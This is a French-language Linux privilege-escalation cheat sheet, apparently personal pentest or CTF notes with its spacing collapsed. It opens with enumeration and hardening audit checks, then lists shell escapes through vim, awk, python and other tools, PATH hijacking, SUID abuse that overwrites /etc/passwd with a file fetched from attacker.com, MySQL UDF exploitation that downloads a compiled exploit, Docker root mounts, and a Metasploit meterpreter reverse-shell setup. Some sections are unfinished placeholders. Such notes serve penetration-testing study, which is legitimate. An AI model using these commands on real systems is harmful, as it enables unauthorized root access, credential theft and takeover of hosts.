hostnamewhoamiidifconfiguname-auname-m#chercher des exploits sur la versionsearchsploit-wdistribsearchsploit-wkernel_version#mots de passe stockéqscat/etc/passwd#Tables ARParp-a#config réseau/sbin/ifconfig-a; cat/etc/network/interfaces; cat/etc/sysconfig/network; cat/etc/resolv.conf#Variables d'environnementcat/etc/profile; cat/etc/bashrc; cat~/.bash_profile; cat~/.bashrc; cat~/.bash_logout; env; set#historiqueshistory; cat~/.bash_history; cat~/.nano_history; cat~/.atftp_history; cat~/.mysql_history; cat~/.php_history#Chercher des fichiers de conf modifiablesfind/etc/-writable-typef2>/dev/null#Cherches les fichiers avec permissions SUID et GUIDfind/-perm-g=s-o-perm-4000!-typel-maxdepth6-execls-ld{} \; 2>/dev/nullfind/-perm-1000-typed2>/dev/nullfind/-perm-g=s-typef2>/dev/null#Vérifier que l'OS accorde bien les priv par défauts à tous les utilisateurs authentifiés.#UMASK doit avoir pour valeur 077 est ne doit pas être commenté.#Si ce n'est pas le cas, un utilisateur pourrait accèder à des fichiers qui ne lui appartiennent pas.grep-i"umask"/etc/login.defs#Vérifier si le mot de passe est bien chiffré.#Si le mot de passe de root ne commence pas par "password_pbkdf2", il s'agit d'une mauvaise configgrep-ipassword/boot/grub/grub.cfg#Vérifier que l'OS ne détient pas d'UID's doublons pour les utilisateurs interactifs.awk-F":"'list[$3]++{print $1, $3}'/etc/passwd#Vérifier que le groupe "sudo" ne contienne que des utilisateurs légitimesgrepsudo/etc/group#Vérifier qu'il y a bien un timeout d'activé pour déconnecter les sessions inactives.grep-E"\bTMOUT=[0-9]+"/etc/bash.bashrc/etc/profile.d/*#Vérifier si le package vlock est installédpkg-l|grepvlock#Vérifier que l'OS force la durée de vie minimum d'un mot de passe à 24h.#Le cas contraire peut permettre à un utilisateur de changer de mot de passe autant de fois qu'il veut.#Ce qui peut leur permettre de contourner la politique de mot de passe et repasser à leur ancien mot de passe.grep-i^pass_min_days/etc/login.defs#Vérifier si l'execution de programme est activé#Ubuntudpkg-l|grepapparmorsystemctlis-activeapparmor.serviceréponseattendue:activesystemctlis-enabledapparmor.serviceréponseattendue:enable#RedHat, CentOSsestatus#Vérifier si le firewall est correctement configuréss-l46utufwstatus#Vérifier si les disques sont chiffrésmore/etc/crypttab#Vérifier l'implémentation d'ASLR.sysctlkernel.randomize_va_spaceréponseattendue:kernel.randomize_va_space=2cat/proc/sys/kernel/randomize_va_spaceréponseattendue:2#Vérifier la présence du package SSHsudodpkg-l|grepopenssh#Vérifier si le service sshd est actif et chargésystemctlstatussshd.service|egrep-i"(active|loaded)"#Vérifier si X11Forwarding est activé dans les parametres SSHgrep-irx11forwarding/etc/ssh/sshd_config*|grep-v"^#"résponseattendue:X11Forwardingno#Vérifier si des connexions inattendues ou automatiques au SSH sont possibles.egrep-r'(Permit(.*?)(Passwords|Environment))'/etc/ssh/sshd_configréponsesattendues:PermitEmptyPasswordsnoPermitUserEnvironmentno#Vérifier le chiffrement SSHgrep-r'Ciphers'/etc/ssh/sshd_config*résponseattendue:Ciphersaes256-ctr,aes192-ctrouaes128-ctrgrep-irmacs/etc/ssh/sshd_config*réponseattendue:MACshmac-sha2-512ouhmac-sha2-256#Vérifier si le timeout de session SSH est en dessous de 600 soit 10 minutessudogrep-irclientalive/etc/ssh/sshd_config*réponseattendue:ClientAliveInterval600ClientAliveCountMax1#Vérifiez que les répertoires de bibliothèque à l échelle du système "/lib", "/lib64" et "/usr/lib" appartiennent au groupe root.
find/lib/usr/lib/lib64!-grouproot-typed-execstat-c"%n %G"'{}' \;#Vérifier si le null password est autoriségrepnullok/etc/pam.d/common-password#Vérifier si il y a des mdp vides dans /etc/shadowawk-F:'!$2 {print $1}'/etc/shadow#Vérifier la politique de rotation de mot de passe des utilisateurschage-l<username>|grepexpires#Vérifier que la réutilisation de mot de passe ne peut pas se faire avant aux moins 5 générationsgrep-iremember/etc/pam.d/common-password#Vérifier la politique de mots de passe#Vérifier que la lib pwquality est installéedpkg-llibpam-pwquality#Vérifier que l'usage du package est bien activégrep-ienforcing/etc/security/pwquality.confcat/etc/pam.d/common-password|greprequisite|greppam_pwqualityréponseattendue:passwordrequisitepam_pwquality.soretry=3grep-i"lcredit"/etc/security/pwquality.confréponseattendue:lcredit=-1grep-i"dcredit"/etc/security/pwquality.confréponseattendue:dcredit=-1grep-i"ucredit"/etc/security/pwquality.confréponseattendue:credit=-1grep-i"ocredit"/etc/security/pwquality.confréponseattendue:credit=-1grep-i"difok"/etc/security/pwquality.confréponseattendue:difok=8grep-iminlen/etc/security/pwquality.confréponseattendue:minlen=15#Vérifier si la lib "cracklib" permettant d'empêcher l'usage de mots du dictionnaire dans les mdp est installéegrepdictcheck/etc/security/pwquality.confréponseattendue:dictcheck=1#Vérifier que les logs system ne sont accessibles qu'aux utilisteurs du groupe "adm"sudostat-c"%n %G"/var/log/syslogréponseattendue:/var/log/syslogadm#Vérifier que l'accès aux fichiers de /var/log soit au mode 750 ou moins permissifstat-c"%n %a"/var/log#Vérifiez qu'il y ai un délai d'au moins 4 secondes entre l'invite de connexion et l'authentication failedgreppam_faildelay/etc/pam.d/common-auth#Vérifier que le dump du kernel soit désactivésystemctlis-activekdump.service#Vérifier que la connexion directe au compte root soit désactivépasswd-Sroot#Vérifier qu'il n'est pas possible de reboot le syteme avec Ctrl-Alt-Delgreplogout/etc/dconf/db/local.d/*réponseattendue:logout=''
Les systèmes Linux nous fournissent différents éditeurs. (ed, ne, nano, pico, vim etc)
Certains d'entre eux fournissent des fonctionnalités tierces d'exécution de commande et de navigation dans les fichiers. Les éditeurs comme "vim" nous fournissent l'une des techniques les plus connues pour contourner les restrictions d'un shell.
Vim a une fonctionnalité permettant d'exécuter des scripts et des commandes à l'intérieur. Si vim est disponible, ouvrez-le et lancez la commande suivante:
:!/bin/ls-l
Cela aura pour effet d'exécuter la commande ls -l et de bypasser la restriction sur la commande ls par exemple.
Il s'agit d'un exemple, on peut donc utiliser cette technique pour n'importe quelle commande.
Exemple pour lancer un shell qui ne contiendra donc pas de restrictions:
:!/bin/sh
Même technique avec l'éditeur ed:
!'/bin/sh'
Avec less ou man:
$less.bashrc!'sh'$manls!'sh'
avec awk:
$awk'BEGIN {system("/bin/sh")}'
Avec expect:
$expectexpect1.1> spawnshspawnsh20302expect1.2> shou$expect-c'spawn sh'-ispawnshexpect1.1> sh
Avec python:
$python-c'import pty; pty.spawn("/bin/sh")'
Avec Ruby:
$ irbirb(main):002:0>exec'/bin/sh'
Avec Perl:
$perl-e'system("sh -i");'
Avec PHP:
$php-aInteractivemodeenabledphp> exec("sh -i");
Path variable
# Créer un faux catecho"bin/bash">/tmp/catchmod777/tmp/catecho $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin# Mettre à jour le PATHexport PATH=/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin# Aller dans le dossier restreint/usr/sbin/cat.private.txt
Binary symlink
[TODO]
Capabilities
[TODO]
SUID
/usr/bin/cp
# Si cp a les droits SUID, on peut copier un fichier à privilèges dans un autre dossier pour le lirecp/etc/passwd/tmp# Créer un nouveau compteopensslpasswd-1-salt<username><password># Puis créer un faux /etc/passwd et l'upload dans la cible et utiliser cpwgethttp://attacker.com/passwdcppasswd/etc/passwd
# Lancer des commande avec un autre utilisateurtouchuser123finduser123-exec"whoami" \;finduser123-exec"/bin/sh" \;# Autre méthodefind/home–execchmodu+s/usr/bin/wget \;ls–la/usr/bin/wgetcat/etc/passwd# Ensuite créer un fichier passwd et l'upload
/usr/bin/micro
cat/etc/passwd|/usr/bin/micro# Puis créer un nouvel utilisateuropensslpasswd-1-salt<username><password>
/usr/bin/mawk
mawk'BEGIN {system("/bin/sh")}'
LD_Preload
Si la réponse à un "sudo -l" renvoie la présence de la variable d'environnement LD_Preload, il est possible d'élever ces privilèges comme ceci:
1) Créer un script shell.c contenant les lignes suivantes
# Si MySQL fonctionne avec les droits de super utilisateursys_exec('usermod -a -G admin username')Selectsys_exec('whoami');selectsys_exec('/bin/bash');Selectsys_eval('whoami');
# Si MySQL fonctionne avec les droits super user en version <5https://www.exploit-db.com/exploits/1518/# Rechercher et compiler l'exploitsearchsploit–m1518.cgcc-g-shared-Wl,-soname,1518.so-o1518.so1518.c-lcwgethttp://192.168.1.109/1518.sochmod7771518.somysql–uroot–pusemysql;# Exploitationcreatetablefoo(lineblob);insertintofoovalues(load_file('/tmp/1518.so'));select*fromfoointodumpfile'/usr/lib/mysql/plugin/1518.so';createfunctiondo_systemreturnsintegersoname'1518.so';selectdo_system('chmod u+s /usr/bin/find');
Docker
# Si l'utilisateur peut lancer dockerdockerrun–v/root:/hack-tdebian:jessie/bin/sh-c'ls -al /hack'# Docker privesc avec metasploitmsf>useexploit/linux/local/docker_daemon_privilege_escalationmsfexploit(linux/local/docker_daemon_privilege_escalation) >setlhost192.168.1.116msfexploit(linux/local/docker_daemon_privilege_escalation) >setpayloadlinux/x86/meterpreter/reverse_tcpmsfexploit(linux/local/docker_daemon_privilege_escalation) >setsession1msfexploit(linux/local/docker_daemon_privilege_escalation) >run
Cron
Overwrite du fichier
Si on a les droits pour overwrite le fichier executé, alors il est possible de créer un shell facilement à la place du fichier original.
Overwrite du chemin
Si cron cherche le fichier sur plusieurs chemins et que le chemin complet du script d'origine n'est pas défini dans crontab, si on a les droits pour créer un fichier sur l'un des chemins recherché en premier, on est alors capable de créer un fichier du même nom dans celui-ci.
LinPEAS
LinPEAS est un script qui recherche les chemins possibles pour élever les privilèges sur les hôtes Linux/Unix*/MacOS.
LinuxSmartEnumeration est un outils d'énumération Linux pour le pentesting et les CTF inspiré de l'outil LinEnum. Contrairement à LinEnum, LSE tente d'exposer progressivement l'information en fonction de son importance d'un point de vue privé.
Lynis est un outil d’audit de sécurité pour les systèmes basés sur UNIX comme Linux, macOS, BSD et autres. Il effectue une analyse de sécurité approfondie et fonctionne sur le système lui-même. L’objectif principal est de tester les défenses de sécurité et de fournir des conseils pour renforcer davantage le système.
Eviltree est un remake python3 de la commande classique "tree" avec la fonctionnalité supplémentaire de rechercher des mots-clés/regex fournis par l'utilisateur dans les fichiers, en mettant en évidence ceux qui contiennent des correspondances.